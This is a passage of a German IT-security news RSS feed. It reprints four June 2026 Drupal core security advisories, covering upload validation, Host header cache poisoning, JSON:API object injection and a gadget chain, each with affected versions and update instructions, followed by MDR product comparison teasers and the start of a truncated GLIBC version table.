<description><![CDATA[Project: Drupal coreDate: 2026-June-02Security risk: Moderately critical 11 ∕ 25 AC:Complex/A:User/CI:Some/II:Some/E:Theoretical/TD:UncommonVulnerability: Improper validationAffected versions: =10.6.0 =11.2.0 =11.3.0]]></description>
<link>https://tsecurity.de/de/3605848/it-security-nachrichten/drupal-core-moderately-critical-improper-validation-sa-core-2026-009/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3605848/it-security-nachrichten/drupal-core-moderately-critical-improper-validation-sa-core-2026-009/</guid>
<pubDate>Wed, 17 Jun 2026 20:52:20 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div class="field field-name-field-project field-type-entityreference field-label-inline clearfix"><div class="field-label">Project: </div><div class="field-items"><div class="field-item even"><a href="https://www.drupal.org/project/drupal">Drupal core</a></div></div></div><div class="field field-name-drupalorg-sa-date field-type-text field-label-inline clearfix"><div class="field-label">Date: </div><div class="field-items"><div class="field-item even">2026-June-02</div></div></div><div class="field field-name-field-sa-criticality field-type-text field-label-inline clearfix"><div class="field-label">Security risk: </div><div class="field-items"><div class="field-item even"><a href="https://www.drupal.org/security-team/risk-levels" class="moderately-critical" title="AC - Access complexity: Complex or highly specific (multi-step, unintuitive process with high number of dependencies)
A - Authentication: User-level access (basic/commonly assigned permissions)
CI - Confidentiality impact: Certain non-public data is released
II - Integrity impact: Some data can be modified
E - Exploit (Zero-day impact): Theoretical or white-hat (no public exploit code or documentation on development exists)
TD - Target distribution: Only uncommon module configurations are exploitable"><strong>Moderately critical</strong> 11 ∕ 25 AC:Complex/A:User/CI:Some/II:Some/E:Theoretical/TD:Uncommon</a></div></div></div><div class="field field-name-field-sa-type field-type-text field-label-inline clearfix"><div class="field-label">Vulnerability: </div><div class="field-items"><div class="field-item even">Improper validation</div></div></div><div class="field field-name-field-affected-versions field-type-text field-label-inline clearfix"><div class="field-label">Affected versions: </div><div class="field-items"><div class="field-item even">&lt;10.5.12 || &gt;=10.6.0 &lt;10.6.11 || &gt;=11.2.0 &lt;11.2.14 || &gt;=11.3.0 &lt;11.3.12 || 11.0.* || 11.1.*</div></div></div><div class="field field-name-field-sa-cve field-type-text field-label-inline clearfix"><div class="field-label">CVE IDs: </div><div class="field-items"><div class="field-item even">CVE-2026-55808</div></div></div><div class="field field-name-field-sa-description field-type-text-long field-label-above"><div class="field-label">Description: </div><div class="field-items"><div class="field-item even"><p>The JSON:API and REST modules allow you to upload image files to image fields.</p>
<p>The validation rules check the file extension of the uploaded file but not the file MIME type. This may allow a malicious user to upload a file that is not an image.</p>
<p>Certain web-server configurations may serve the uploaded file with its actual MIME type rather than an image type. This may lead to cross-site scripting (XSS) or other unexpected behavior.</p></div></div></div><div class="field field-name-field-sa-solution field-type-text-long field-label-above"><div class="field-label">Solution: </div><div class="field-items"><div class="field-item even"><p>Install the latest version:</p>
<p><strong>Drupal 11</strong></p>
<ul>
<li>If you use Drupal 11.3.x, update to <a href="https://www.drupal.org/project/drupal/releases/11.3.12" rel="nofollow">Drupal 11.3.12</a>.</li>
<li>If you use Drupal 11.2.x, update to <a href="https://www.drupal.org/project/drupal/releases/11.2.14" rel="nofollow">Drupal 11.2.14</a>.</li>
</ul>
<p><strong>Drupal 10</strong></p>
<ul>
<li>If you use Drupal 10.6.x, update to <a href="https://www.drupal.org/project/drupal/releases/10.6.11" rel="nofollow">Drupal 10.6.11</a>.</li>
<li>If you use Drupal 10.5.x, update to <a href="https://www.drupal.org/project/drupal/releases/10.5.12" rel="nofollow">Drupal 10.5.12</a>.</li>
</ul>
<p>Drupal 11.1.x, Drupal 11.0.x, Drupal 10.4.x, and below are end-of-life and do not receive security coverage. (<a href="https://www.drupal.org/psa-2021-06-29" rel="nofollow">Drupal 8</a> and <a href="https://www.drupal.org/psa-2023-11-01" rel="nofollow">Drupal 9</a> have both reached end-of-life.)</p></div></div></div><div class="field field-name-field-sa-reported-by field-type-text-long field-label-above"><div class="field-label">Reported By: </div><div class="field-items"><div class="field-item even"><ul>
<li><a href="https://www.drupal.org/u/cantina_security" rel="nofollow">cantina_security</a>
</li></ul></div></div></div><div class="field field-name-field-sa-fixed-by field-type-text-long field-label-above"><div class="field-label">Fixed By: </div><div class="field-items"><div class="field-item even"><ul>
<li><a href="https://www.drupal.org/u/bbrala" rel="nofollow">Björn Brala (bbrala)</a>
</li><li><a href="https://www.drupal.org/u/kimpepper" rel="nofollow">Kim Pepper (kim.pepper)</a>
</li><li><a href="https://www.drupal.org/u/larowlan" rel="nofollow">Lee Rowlands (larowlan)</a> of the Drupal Security Team
</li></ul></div></div></div><div class="field field-name-field-sa-coordinated-by field-type-text-long field-label-above"><div class="field-label">Coordinated By: </div><div class="field-items"><div class="field-item even"><ul>
<li><a href="https://www.drupal.org/u/damienmckenna" rel="nofollow">Damien McKenna (damienmckenna)</a> of the Drupal Security Team
</li><li><a href="https://www.drupal.org/u/greggles" rel="nofollow">Greg Knaddison (greggles)</a> of the Drupal Security Team
</li><li><a href="https://www.drupal.org/u/larowlan" rel="nofollow">Lee Rowlands (larowlan)</a> of the Drupal Security Team
</li><li><a href="https://www.drupal.org/u/longwave" rel="nofollow">Dave Long (longwave)</a> of the Drupal Security Team
</li><li><a href="https://www.drupal.org/u/poker10" rel="nofollow">Juraj Nemec (poker10)</a> of the Drupal Security Team
</li><li><a href="https://www.drupal.org/u/xjm" rel="nofollow">Jess  (xjm)</a> of the Drupal Security Team
</li></ul></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Drupal core - Less critical - Cache poisoning and open redirect - SA-CORE-2026-007]]></title>
<description><![CDATA[Project: Drupal coreDate: 2026-June-01Security risk: Less critical 9 ∕ 25 AC:Basic/A:None/CI:None/II:None/E:Theoretical/TD:DefaultVulnerability: Cache poisoning and open redirectAffected versions: =10.6.0 =11.2.0 =11.3.0 =11.4.0]]></description>
<link>https://tsecurity.de/de/3605833/it-security-nachrichten/drupal-core-less-critical-cache-poisoning-and-open-redirect-sa-core-2026-007/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3605833/it-security-nachrichten/drupal-core-less-critical-cache-poisoning-and-open-redirect-sa-core-2026-007/</guid>
<pubDate>Wed, 17 Jun 2026 20:38:53 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div class="field field-name-field-project field-type-entityreference field-label-inline clearfix"><div class="field-label">Project: </div><div class="field-items"><div class="field-item even"><a href="https://www.drupal.org/project/drupal">Drupal core</a></div></div></div><div class="field field-name-drupalorg-sa-date field-type-text field-label-inline clearfix"><div class="field-label">Date: </div><div class="field-items"><div class="field-item even">2026-June-01</div></div></div><div class="field field-name-field-sa-criticality field-type-text field-label-inline clearfix"><div class="field-label">Security risk: </div><div class="field-items"><div class="field-item even"><a href="https://www.drupal.org/security-team/risk-levels" class="less-critical" title="AC - Access complexity: Basic or routine (user must follow specific path)
A - Authentication: None (all/anonymous users)
CI - Confidentiality impact: No confidentiality impact
II - Integrity impact: Data integrity remains intact
E - Exploit (Zero-day impact): Theoretical or white-hat (no public exploit code or documentation on development exists)
TD - Target distribution: Default or common module configurations are exploitable, but a config change can disable the exploit"><strong>Less critical</strong> 9 ∕ 25 AC:Basic/A:None/CI:None/II:None/E:Theoretical/TD:Default</a></div></div></div><div class="field field-name-field-sa-type field-type-text field-label-inline clearfix"><div class="field-label">Vulnerability: </div><div class="field-items"><div class="field-item even">Cache poisoning and open redirect</div></div></div><div class="field field-name-field-affected-versions field-type-text field-label-inline clearfix"><div class="field-label">Affected versions: </div><div class="field-items"><div class="field-item even">&lt;10.5.12 || &gt;=10.6.0 &lt;10.6.11 || &gt;=11.2.0 &lt;11.2.14 || &gt;=11.3.0 &lt;11.3.12 || &gt;=11.4.0 &lt;11.4.0-rc2 || 11.0.* || 11.1.*</div></div></div><div class="field field-name-field-sa-cve field-type-text field-label-inline clearfix"><div class="field-label">CVE IDs: </div><div class="field-items"><div class="field-item even">CVE-2026-55806</div></div></div><div class="field field-name-field-sa-description field-type-text-long field-label-above"><div class="field-label">Description: </div><div class="field-items"><div class="field-item even"><p>Drupal core ships a <code class="language-php">rebuild.php</code> front controller that can be used to rebuild Drupal (clearing the caches and rebuilding the container) when the site is in an unexpected condition.</p>
<p>This script doesn't correctly check the Host header against the list of trusted host patterns. This could result in cache poisoning or a redirect to an attacker-controlled domain.</p></div></div></div><div class="field field-name-field-sa-solution field-type-text-long field-label-above"><div class="field-label">Solution: </div><div class="field-items"><div class="field-item even"><p>Install the latest version:</p>
<p><strong>Drupal 11</strong></p>
<ul>
<li>If you use Drupal 11.3.x, update to <a href="https://www.drupal.org/project/drupal/releases/11.3.12" rel="nofollow">Drupal 11.3.12</a>.</li>
<li>If you use Drupal 11.2.x, update to <a href="https://www.drupal.org/project/drupal/releases/11.2.14" rel="nofollow">Drupal 11.2.14</a>.</li>
</ul>
<p><strong>Drupal 10</strong></p>
<ul>
<li>If you use Drupal 10.6.x, update to <a href="https://www.drupal.org/project/drupal/releases/10.6.11" rel="nofollow">Drupal 10.6.11</a>.</li>
<li>If you use Drupal 10.5.x, update to <a href="https://www.drupal.org/project/drupal/releases/10.5.12" rel="nofollow">Drupal 10.5.12</a>.</li>
</ul>
<p>Drupal 11.1.x, Drupal 11.0.x, Drupal 10.4.x, and below are end-of-life and do not receive security coverage. (<a href="https://www.drupal.org/psa-2021-06-29" rel="nofollow">Drupal 8</a> and <a href="https://www.drupal.org/psa-2023-11-01" rel="nofollow">Drupal 9</a> have both reached end-of-life.)</p></div></div></div><div class="field field-name-field-sa-reported-by field-type-text-long field-label-above"><div class="field-label">Reported By: </div><div class="field-items"><div class="field-item even"><ul>
<li><a href="https://www.drupal.org/u/melih-acikoz" rel="nofollow">Melih Acikoz</a>
</li><li><a href="https://www.drupal.org/u/michaelwinser" rel="nofollow">Michael Winser (michaelwinser)</a>
</li><li><a href="https://www.drupal.org/u/willempje2" rel="nofollow">Willem Drupal enthousiast (willempje2)</a>
</li></ul></div></div></div><div class="field field-name-field-sa-fixed-by field-type-text-long field-label-above"><div class="field-label">Fixed By: </div><div class="field-items"><div class="field-item even"><ul>
<li><a href="https://www.drupal.org/u/larowlan" rel="nofollow">Lee Rowlands (larowlan)</a> of the Drupal Security Team
</li></ul></div></div></div><div class="field field-name-field-sa-coordinated-by field-type-text-long field-label-above"><div class="field-label">Coordinated By: </div><div class="field-items"><div class="field-item even"><ul>
<li><a href="https://www.drupal.org/u/catch" rel="nofollow"> catch (catch)</a> of the Drupal Security Team
</li><li><a href="https://www.drupal.org/u/cilefen" rel="nofollow">cilefen  (cilefen)</a> of the Drupal Security Team
</li><li><a href="https://www.drupal.org/u/greggles" rel="nofollow">Greg Knaddison (greggles)</a> of the Drupal Security Team
</li><li><a href="https://www.drupal.org/u/larowlan" rel="nofollow">Lee Rowlands (larowlan)</a> of the Drupal Security Team
</li><li><a href="https://www.drupal.org/u/longwave" rel="nofollow">Dave Long (longwave)</a> of the Drupal Security Team
</li><li><a href="https://www.drupal.org/u/neclimdul" rel="nofollow">James Gilliland (neclimdul)</a> of the Drupal Security Team
</li><li><a href="https://www.drupal.org/u/poker10" rel="nofollow">Juraj Nemec (poker10)</a> of the Drupal Security Team
</li><li><a href="https://www.drupal.org/u/xjm" rel="nofollow">Jess  (xjm)</a> of the Drupal Security Team
</li></ul></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Drupal core - Critical - PHP object injection - SA-CORE-2026-005]]></title>
<description><![CDATA[Project: Drupal coreDate: 2026-June-05Security risk: Critical 18 ∕ 25 AC:None/A:User/CI:All/II:All/E:Theoretical/TD:UncommonVulnerability: PHP object injectionAffected versions: =10.6.0 =11.2.0 =11.3.0 =11.4.0]]></description>
<link>https://tsecurity.de/de/3605832/it-security-nachrichten/drupal-core-critical-php-object-injection-sa-core-2026-005/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3605832/it-security-nachrichten/drupal-core-critical-php-object-injection-sa-core-2026-005/</guid>
<pubDate>Wed, 17 Jun 2026 20:38:50 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div class="field field-name-field-project field-type-entityreference field-label-inline clearfix"><div class="field-label">Project: </div><div class="field-items"><div class="field-item even"><a href="https://www.drupal.org/project/drupal">Drupal core</a></div></div></div><div class="field field-name-drupalorg-sa-date field-type-text field-label-inline clearfix"><div class="field-label">Date: </div><div class="field-items"><div class="field-item even">2026-June-05</div></div></div><div class="field field-name-field-sa-criticality field-type-text field-label-inline clearfix"><div class="field-label">Security risk: </div><div class="field-items"><div class="field-item even"><a href="https://www.drupal.org/security-team/risk-levels" class="critical" title="AC - Access complexity: None (user visits page)
A - Authentication: User-level access (basic/commonly assigned permissions)
CI - Confidentiality impact: All non-public data is accessible
II - Integrity impact: All data can be modified or deleted
E - Exploit (Zero-day impact): Theoretical or white-hat (no public exploit code or documentation on development exists)
TD - Target distribution: Only uncommon module configurations are exploitable"><strong>Critical</strong> 18 ∕ 25 AC:None/A:User/CI:All/II:All/E:Theoretical/TD:Uncommon</a></div></div></div><div class="field field-name-field-sa-type field-type-text field-label-inline clearfix"><div class="field-label">Vulnerability: </div><div class="field-items"><div class="field-item even">PHP object injection</div></div></div><div class="field field-name-field-affected-versions field-type-text field-label-inline clearfix"><div class="field-label">Affected versions: </div><div class="field-items"><div class="field-item even">&lt;10.5.12 || &gt;=10.6.0 &lt;10.6.11 || &gt;=11.2.0 &lt;11.2.14 || &gt;=11.3.0 &lt;11.3.12 || &gt;=11.4.0 &lt;11.4.0-rc2 || 11.0.* || 11.1.*</div></div></div><div class="field field-name-field-sa-cve field-type-text field-label-inline clearfix"><div class="field-label">CVE IDs: </div><div class="field-items"><div class="field-item even">CVE-2026-55803</div></div></div><div class="field field-name-field-sa-description field-type-text-long field-label-above"><div class="field-label">Description: </div><div class="field-items"><div class="field-item even"><p><a href="https://www.drupal.org/sa-core-2019-003" rel="nofollow">SA-CORE-2019-003</a> added protection for fields that store serialized data to disallow direct writes via web services.</p>
<p>The above fix did not cover all potential attack vectors for JSON:API. An attacker with appropriate JSON:API write permission could potentially inject a malicious payload in certain rare circumstances, potentially resulting in PHP Object Injection.</p>
<p>This vulnerability is mitigated by the fact that in order to be exploitable:</p>
<ul>
<li>A site must use an entity reference field type that stores a serialized property.</li>
<li>An attacker must have permission to write to the entity via JSON:API.</li>
</ul>
<p>No field type shipped with Drupal core meets these criteria, and contributed or user-created field types that do appear to be extremely unusual. This update protects all such fields; no changes are required in contributed modules.</p>
<p>JSON:API is read-only by default, so sites are only affected if they have enabled write access (either through administrator configuration or the installation of a contributed or custom module that enables write access).</p>
<h4>DrupalSteward protection:</h4>
<p>This issue is being protected by <a href="https://www.drupal.org/steward" rel="nofollow">Drupal Steward</a>. In this instance, we believe that the WAF rule will provide mitigation for the common/obvious vulnerability paths, but may not be able to cover all cases or work for all hosting providers. Additionally, several other core security advisories released today are <em>not</em> mitigated by Drupal Steward. Therefore, our recommended action is still to plan an actual Drupal update within 24 hours of this release.</p></div></div></div><div class="field field-name-field-sa-solution field-type-text-long field-label-above"><div class="field-label">Solution: </div><div class="field-items"><div class="field-item even"><p>Install the latest version:</p>
<p><strong>Drupal 11</strong></p>
<ul>
<li>If you use Drupal 11.3.x, update to <a href="https://www.drupal.org/project/drupal/releases/11.3.12" rel="nofollow">Drupal 11.3.12</a>.</li>
<li>If you use Drupal 11.2.x, update to <a href="https://www.drupal.org/project/drupal/releases/11.2.14" rel="nofollow">Drupal 11.2.14</a>.</li>
</ul>
<p><strong>Drupal 10</strong></p>
<ul>
<li>If you use Drupal 10.6.x, update to <a href="https://www.drupal.org/project/drupal/releases/10.6.11" rel="nofollow">Drupal 10.6.11</a>.</li>
<li>If you use Drupal 10.5.x, update to <a href="https://www.drupal.org/project/drupal/releases/10.5.12" rel="nofollow">Drupal 10.5.12</a>.</li>
</ul>
<p>Drupal 11.1.x, Drupal 11.0.x, Drupal 10.4.x, and below are end-of-life and do not receive security coverage. (<a href="https://www.drupal.org/psa-2021-06-29" rel="nofollow">Drupal 8</a> and <a href="https://www.drupal.org/psa-2023-11-01" rel="nofollow">Drupal 9</a> have both reached end-of-life.)</p></div></div></div><div class="field field-name-field-sa-reported-by field-type-text-long field-label-above"><div class="field-label">Reported By: </div><div class="field-items"><div class="field-item even"><ul>
<li><a href="https://www.drupal.org/u/michaelmaturi" rel="nofollow">Michael Maturi (michaelmaturi)</a>
</li></ul></div></div></div><div class="field field-name-field-sa-fixed-by field-type-text-long field-label-above"><div class="field-label">Fixed By: </div><div class="field-items"><div class="field-item even"><ul>
<li><a href="https://www.drupal.org/u/bbrala" rel="nofollow">Björn Brala (bbrala)</a>
</li><li><a href="https://www.drupal.org/u/berdir" rel="nofollow">Sascha Grossenbacher (berdir)</a>
</li><li><a href="https://www.drupal.org/u/larowlan" rel="nofollow">Lee Rowlands (larowlan)</a> of the Drupal Security Team
</li><li><a href="https://www.drupal.org/u/longwave" rel="nofollow">Dave Long (longwave)</a> of the Drupal Security Team
</li><li><a href="https://www.drupal.org/u/mcdruid" rel="nofollow">Drew Webber (mcdruid)</a> of the Drupal Security Team
</li></ul></div></div></div><div class="field field-name-field-sa-coordinated-by field-type-text-long field-label-above"><div class="field-label">Coordinated By: </div><div class="field-items"><div class="field-item even"><ul>
<li><a href="https://www.drupal.org/u/akalata" rel="nofollow">Anna Kalata (akalata)</a> of the Drupal Security Team
</li><li><a href="https://www.drupal.org/u/benjifisher" rel="nofollow">Benji Fisher (benjifisher)</a> of the Drupal Security Team
</li><li><a href="https://www.drupal.org/u/damienmckenna" rel="nofollow">Damien McKenna (damienmckenna)</a> of the Drupal Security Team
</li><li><a href="https://www.drupal.org/u/david-strauss" rel="nofollow">David Strauss (david strauss)</a> of the Drupal Security Team
</li><li><a href="https://www.drupal.org/u/drumm" rel="nofollow">Neil Drumm (drumm)</a> of the Drupal Security Team
</li><li><a href="https://www.drupal.org/u/greggles" rel="nofollow">Greg Knaddison (greggles)</a> of the Drupal Security Team
</li><li><a href="https://www.drupal.org/u/hestenet" rel="nofollow">Tim Hestenes Lehnen (hestenet)</a>
</li><li><a href="https://www.drupal.org/u/larowlan" rel="nofollow">Lee Rowlands (larowlan)</a> of the Drupal Security Team
</li><li><a href="https://www.drupal.org/u/longwave" rel="nofollow">Dave Long (longwave)</a> of the Drupal Security Team
</li><li><a href="https://www.drupal.org/u/mcdruid" rel="nofollow">Drew Webber (mcdruid)</a> of the Drupal Security Team
</li><li><a href="https://www.drupal.org/u/poker10" rel="nofollow">Juraj Nemec (poker10)</a> of the Drupal Security Team
</li><li><a href="https://www.drupal.org/u/ram4nd" rel="nofollow">Ra Mänd (ram4nd)</a> provisional member of the Drupal Security Team
</li><li><a href="https://www.drupal.org/u/xjm" rel="nofollow">Jess  (xjm)</a> of the Drupal Security Team
</li></ul></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Drupal core - Moderately critical - Gadget chain - SA-CORE-2026-006]]></title>
<description><![CDATA[Project: Drupal coreDate: 2026-June-08Security risk: Moderately critical 14 ∕ 25 AC:Complex/A:Admin/CI:All/II:All/E:Theoretical/TD:UncommonVulnerability: Gadget chainAffected versions: =10.6.0 =11.2.0 =11.3.0 =11.4.0]]></description>
<link>https://tsecurity.de/de/3605831/it-security-nachrichten/drupal-core-moderately-critical-gadget-chain-sa-core-2026-006/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3605831/it-security-nachrichten/drupal-core-moderately-critical-gadget-chain-sa-core-2026-006/</guid>
<pubDate>Wed, 17 Jun 2026 20:38:49 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div class="field field-name-field-project field-type-entityreference field-label-inline clearfix"><div class="field-label">Project: </div><div class="field-items"><div class="field-item even"><a href="https://www.drupal.org/project/drupal">Drupal core</a></div></div></div><div class="field field-name-drupalorg-sa-date field-type-text field-label-inline clearfix"><div class="field-label">Date: </div><div class="field-items"><div class="field-item even">2026-June-08</div></div></div><div class="field field-name-field-sa-criticality field-type-text field-label-inline clearfix"><div class="field-label">Security risk: </div><div class="field-items"><div class="field-item even"><a href="https://www.drupal.org/security-team/risk-levels" class="moderately-critical" title="AC - Access complexity: Complex or highly specific (multi-step, unintuitive process with high number of dependencies)
A - Authentication: Administrator (broad permissions required where “restrict access” is set to false)
CI - Confidentiality impact: All non-public data is accessible
II - Integrity impact: All data can be modified or deleted
E - Exploit (Zero-day impact): Theoretical or white-hat (no public exploit code or documentation on development exists)
TD - Target distribution: Only uncommon module configurations are exploitable"><strong>Moderately critical</strong> 14 ∕ 25 AC:Complex/A:Admin/CI:All/II:All/E:Theoretical/TD:Uncommon</a></div></div></div><div class="field field-name-field-sa-type field-type-text field-label-inline clearfix"><div class="field-label">Vulnerability: </div><div class="field-items"><div class="field-item even">Gadget chain</div></div></div><div class="field field-name-field-affected-versions field-type-text field-label-inline clearfix"><div class="field-label">Affected versions: </div><div class="field-items"><div class="field-item even">&lt;10.5.12 || &gt;=10.6.0 &lt;10.6.11 || &gt;=11.2.0 &lt;11.2.14 || &gt;=11.3.0 &lt;11.3.12 || &gt;=11.4.0 &lt;11.4.0-rc2 || 11.0.* || 11.1.*</div></div></div><div class="field field-name-field-sa-cve field-type-text field-label-inline clearfix"><div class="field-label">CVE IDs: </div><div class="field-items"><div class="field-item even">CVE-2026-55804</div></div></div><div class="field field-name-field-sa-description field-type-text-long field-label-above"><div class="field-label">Description: </div><div class="field-items"><div class="field-item even"><p>Drupal core contains a chain of methods that could be exploitable when an insecure deserialization vulnerability exists on the site. This so-called "gadget chain" presents no direct threat, but is a vector that can be used to achieve remote code execution or SQL injection if the application deserializes untrusted data due to another vulnerability.</p>
<p>This issue is not directly exploitable.</p>
<p>This issue is mitigated by the fact that in order for it to be exploitable, a separate vulnerability must be present to allow an attacker to pass unsafe input to <code class="language-php">unserialize()</code>.</p></div></div></div><div class="field field-name-field-sa-solution field-type-text-long field-label-above"><div class="field-label">Solution: </div><div class="field-items"><div class="field-item even"><p>Install the latest version:</p>
<p><strong>Drupal 11</strong></p>
<ul>
<li>If you use Drupal 11.3.x, update to <a href="https://www.drupal.org/project/drupal/releases/11.3.12" rel="nofollow">Drupal 11.3.12</a>.</li>
<li>If you use Drupal 11.2.x, update to <a href="https://www.drupal.org/project/drupal/releases/11.2.14" rel="nofollow">Drupal 11.2.14</a>.</li>
</ul>
<p><strong>Drupal 10</strong></p>
<ul>
<li>If you use Drupal 10.6.x, update to <a href="https://www.drupal.org/project/drupal/releases/10.6.11" rel="nofollow">Drupal 10.6.11</a>.</li>
<li>If you use Drupal 10.5.x, update to <a href="https://www.drupal.org/project/drupal/releases/10.5.12" rel="nofollow">Drupal 10.5.12</a>.</li>
</ul>
<p>Drupal 11.1.x, Drupal 11.0.x, Drupal 10.4.x, and below are end-of-life and do not receive security coverage. (<a href="https://www.drupal.org/psa-2021-06-29" rel="nofollow">Drupal 8</a> and <a href="https://www.drupal.org/psa-2023-11-01" rel="nofollow">Drupal 9</a> have both reached end-of-life.)</p></div></div></div><div class="field field-name-field-sa-reported-by field-type-text-long field-label-above"><div class="field-label">Reported By: </div><div class="field-items"><div class="field-item even"><ul>
<li><a href="https://www.drupal.org/u/michaelmaturi" rel="nofollow">Michael Maturi (michaelmaturi)</a>
</li></ul></div></div></div><div class="field field-name-field-sa-fixed-by field-type-text-long field-label-above"><div class="field-label">Fixed By: </div><div class="field-items"><div class="field-item even"><ul>
<li><a href="https://www.drupal.org/u/larowlan" rel="nofollow">Lee Rowlands (larowlan)</a> of the Drupal Security Team
</li><li><a href="https://www.drupal.org/u/mcdruid" rel="nofollow">Drew Webber (mcdruid)</a> of the Drupal Security Team
</li><li><a href="https://www.drupal.org/u/mohit_aghera" rel="nofollow">Mohit Aghera (mohit_aghera)</a>
</li></ul></div></div></div><div class="field field-name-field-sa-coordinated-by field-type-text-long field-label-above"><div class="field-label">Coordinated By: </div><div class="field-items"><div class="field-item even"><ul>
<li><a href="https://www.drupal.org/u/akalata" rel="nofollow">Anna Kalata (akalata)</a> of the Drupal Security Team
</li><li><a href="https://www.drupal.org/u/benjifisher" rel="nofollow">Benji Fisher (benjifisher)</a> of the Drupal Security Team
</li><li><a href="https://www.drupal.org/u/cilefen" rel="nofollow">cilefen  (cilefen)</a> of the Drupal Security Team
</li><li><a href="https://www.drupal.org/u/greggles" rel="nofollow">Greg Knaddison (greggles)</a> of the Drupal Security Team
</li><li><a href="https://www.drupal.org/u/larowlan" rel="nofollow">Lee Rowlands (larowlan)</a> of the Drupal Security Team
</li><li><a href="https://www.drupal.org/u/longwave" rel="nofollow">Dave Long (longwave)</a> of the Drupal Security Team
</li><li><a href="https://www.drupal.org/u/mcdruid" rel="nofollow">Drew Webber (mcdruid)</a> of the Drupal Security Team
</li><li><a href="https://www.drupal.org/u/poker10" rel="nofollow">Juraj Nemec (poker10)</a> of the Drupal Security Team
</li><li><a href="https://www.drupal.org/u/xjm" rel="nofollow">Jess  (xjm)</a> of the Drupal Security Team
</li></ul></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[ESET MDR vs Sophos MDR: Compared Time to discover and respond to a threat]]></title>
<description><![CDATA[A detailed ESET MDR vs Sophos MDR comparison covering tiers, response speed, coverage, threat intelligence, pricing, and breach warranties to help you choose. This article has been indexed from Hackread – Cybersecurity News, Data Breaches, AI and More Read the…
Read more →
The post ESET MDR vs So...]]></description>
<link>https://tsecurity.de/de/3604525/it-security-nachrichten/eset-mdr-vs-sophos-mdr-compared-time-to-discover-and-respond-to-a-threat/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3604525/it-security-nachrichten/eset-mdr-vs-sophos-mdr-compared-time-to-discover-and-respond-to-a-threat/</guid>
<pubDate>Wed, 17 Jun 2026 13:08:48 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>A detailed ESET MDR vs Sophos MDR comparison covering tiers, response speed, coverage, threat intelligence, pricing, and breach warranties to help you choose. This article has been indexed from Hackread – Cybersecurity News, Data Breaches, AI and More Read the…</p>
<p class="more-link-p"><a class="more-link" href="https://www.itsecuritynews.info/eset-mdr-vs-sophos-mdr-compared-time-to-discover-and-respond-to-a-threat/">Read more →</a></p>
<p>The post <a href="https://www.itsecuritynews.info/eset-mdr-vs-sophos-mdr-compared-time-to-discover-and-respond-to-a-threat/">ESET MDR vs Sophos MDR: Compared Time to discover and respond to a threat</a> appeared first on <a href="https://www.itsecuritynews.info/">IT Security News</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[ESET MDR vs Sophos MDR: Compared Time to discover and respond to a threat]]></title>
<description><![CDATA[A detailed ESET MDR vs Sophos MDR comparison covering tiers, response speed, coverage, threat intelligence, pricing, and breach warranties to help you choose.]]></description>
<link>https://tsecurity.de/de/3604484/it-security-nachrichten/eset-mdr-vs-sophos-mdr-compared-time-to-discover-and-respond-to-a-threat/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3604484/it-security-nachrichten/eset-mdr-vs-sophos-mdr-compared-time-to-discover-and-respond-to-a-threat/</guid>
<pubDate>Wed, 17 Jun 2026 12:53:41 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[A detailed ESET MDR vs Sophos MDR comparison covering tiers, response speed, coverage, threat intelligence, pricing, and breach warranties to help you choose.]]></content:encoded>
</item>
<item>
<title><![CDATA[Linux Distributions – GLIBC Versions and ACME Support . If that wrong plese corret below comment .]]></title>
<description><![CDATA[OS Versions GLIBC versions ACME support                         Ubuntu 14.04 LTS 2.19 No                         16.04 LTS 2.23 Yes                         18.04 LTS 2.27 Yes                         20.04 LTS 2.31 Yes                         22.04 LTS 2.35 Yes                         24.04 LTS 2....]]></description>
<link>https://tsecurity.de/de/3604015/linux-tipps/linux-distributions-glibc-versions-and-acme-support-if-that-wrong-plese-corret-below-comment/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3604015/linux-tipps/linux-distributions-glibc-versions-and-acme-support-if-that-wrong-plese-corret-below-comment/</guid>
<pubDate>Wed, 17 Jun 2026 10:10:49 +0200</pubDate>
<category>🐧 Linux Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<!-- SC_OFF --><div class="md"><table><thead> <tr> <th align="left"><strong>OS</strong></th> <th align="left"><strong>Versions</strong></th> <th align="left"><strong>GLIBC versions</strong></th> <th align="left"><strong>ACME support</strong></th> <th align="left"></th> <th align="left"></th> <th align="left"></th> <th align="left"></th> <th align="left"></th> <th align="left"></th> <th align="left"></th> <th align="left"></th> <th align="left"></th> <th align="left"></th> <th align="left"></th> <th align="left"></th> <th align="left"></th> <th align="left"></th> <th align="left"></th> <th align="left"></th> <th align="left"></th> <th align="left"></th> <th align="left"></th> <th align="left"></th> <th align="left"></th> </tr> </thead><tbody> <tr> <td align="left"><strong>Ubuntu</strong></td> <td align="left">14.04 LTS</td> <td align="left">2.19</td> <td align="left">No</td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> </tr> <tr> <td align="left"></td> <td align="left">16.04 LTS</td> 